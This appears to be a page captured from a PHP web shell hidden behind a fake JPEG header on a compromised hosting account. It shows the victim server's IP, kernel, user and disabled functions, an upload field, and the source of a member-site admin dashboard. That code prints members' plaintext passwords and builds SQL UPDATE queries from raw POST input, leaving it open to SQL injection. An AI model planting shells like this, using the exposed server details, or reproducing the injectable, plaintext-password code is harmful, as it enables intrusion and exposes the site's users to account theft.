���� JFIF aewtgwgerwasdasd
Server IP : 147.93.80.58 / Your IP : 216.73.216.195 Web Server : LiteSpeed System : Linux id-dci-web1866.main-hosting.eu 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64 User : u939086737 ( 939086737) PHP Version : 8.2.28 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/u939086737/domains/jeevikagaumaa.in/public_html/admin/ |
Upload File : |
<?php session_start(); include '../action/config.php'; if(!isset($_SESSION['id'] ) ){ echo '<script>alert("Access denied, Please Login");window.location.assign("login");</script>'; } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8" /> <meta http-equiv="X-UA-Compatible" content="IE=edge" /> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /> <meta name="description" content="" /> <meta name="author" content="" /> <title>जीवनदायिनी जीविका गौसेवा सदन</title> <link href="css/styles.css" rel="stylesheet" /> <link href="https://cdn.datatables.net/1.10.20/css/dataTables.bootstrap4.min.css" rel="stylesheet" crossorigin="anonymous" /> <script src="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.1/js/all.min.js" crossorigin="anonymous"></script> <link rel="shortcut icon" href="../images/logo3.png" /> </head> <body class="sb-nav-fixed"> <?php include 'sidebar_menu.php'; ?> <main> <div class="container-fluid"> <ol class="breadcrumb mb-4 mt-2"> <li class="breadcrumb-item font-weight-bold">Dashboard</li> </ol> <!-- <div class="row"> <div class="col-xl-3 col-md-6"> <div class="card bg-primary text-white mb-4"> <div class="card-body">Primary Card</div> <div class="card-footer d-flex align-items-center justify-content-between"> <a class="small text-white stretched-link" href="#">View Details</a> <div class="small text-white"><i class="fas fa-angle-right"></i></div> </div> </div> </div> <div class="col-xl-3 col-md-6"> <div class="card bg-warning text-white mb-4"> <div class="card-body">Warning Card</div> <div class="card-footer d-flex align-items-center justify-content-between"> <a class="small text-white stretched-link" href="#">View Details</a> <div class="small text-white"><i class="fas fa-angle-right"></i></div> </div> </div> </div> <div class="col-xl-3 col-md-6"> <div class="card bg-success text-white mb-4"> <div class="card-body">Success Card</div> <div class="card-footer d-flex align-items-center justify-content-between"> <a class="small text-white stretched-link" href="#">View Details</a> <div class="small text-white"><i class="fas fa-angle-right"></i></div> </div> </div> </div> <div class="col-xl-3 col-md-6"> <div class="card bg-danger text-white mb-4"> <div class="card-body">Danger Card</div> <div class="card-footer d-flex align-items-center justify-content-between"> <a class="small text-white stretched-link" href="#">View Details</a> <div class="small text-white"><i class="fas fa-angle-right"></i></div> </div> </div> </div> </div> --> <div class="card mb-4" style="border: 1px solid #B3FBFF"> <div class="card-header" style="background-color: #B3FBFF"> <div class="row"> <div class="col-md-6"> <i class="fas fa-table mr-1"></i> Active Member List </div> <div class="col-md-6 text-right"> <i class="fas fa-table mr-1"></i> <a href="all-members"> Non-active Member List </a> </div> </div> </div> <div class="card-body"> <div class="table-responsive"> <table class="table table-bordered table-sm" id="dataTable" width="100%" cellspacing="0"> <thead> <tr> <th width="5%">#</th> <th>User-id</th> <th>sponsor-id</th> <th>Name</th> <th>Phone</th> <th>Password</th> <th>Join Date</th> <th>Level</th> <th>Action</th> </tr> </thead> <tbody> <?php $team_q = mysqli_query($con,"SELECT * FROM `users` WHERE status=1 "); $t = mysqli_num_rows($team_q); $i =0; while ($tm=mysqli_fetch_array($team_q)) { $i++; ?> <tr> <form method="POST"> <td><?php echo $i; ?></td> <td> <a href="tree?search-id=<?php echo $tm['userid'] ?>" title="Tree View"><?php echo $tm['userid'] ?></a> </td> <td><?php echo $tm['sponcerid'] ?></td> <td><?php echo $tm['name'] ?></td> <td><?php echo $tm['phone'] ?></td> <td><?php echo $tm['password'] ?></td> <td><?php echo $tm['join_date'] ?></td> <td><?php echo $tm['level'] ?></td> <td class="text-center"> <a title="View Details" href="user_details?userid=<?php echo $tm['userid'] ?>"> <i class="fas fa-eye text-info"></i> </a> <a data-toggle="tooltip" title="Delete User" onclick="return confirm('Do you really want to delete this user ?');" href="delete_user?userid=<?= $tm['userid'] ?>&returnPath=homepage"><i class="fas fa-trash-alt text-danger"></i></a> <input type="hidden" name="userid" value="<?php echo $tm['userid'] ?>"> </td> </form> </tr> <?php } ?> </tbody> </table> </div> </div> </div> </div> </main> <?php include 'footer.php'; ?> <script> $('#dataTable').dataTable( { "pageLength": 100 } ); </script> </body> </html> <?php if(isset($_POST['submit1'])){ $userid = $_POST['userid']; $level = $_POST['level']; $treeid = $_POST['treeid']; $wallet_bal = $_POST['wallet_bal']; $q1=mysqli_query($con,"UPDATE `user_wallet` SET `wallet_bal` = '$wallet_bal' WHERE `userid` ='$userid' ") or die(mysqli_error($con)); $q2=mysqli_query($con,"UPDATE `users` SET `level` = '$level',`treeid`='$treeid' WHERE `userid` ='$userid' ") or die(mysqli_error($con)); if($q1==true OR $q2==true){ echo '<script>alert("Update Successful !!"); window.location.href=""; </script> '; } } ?>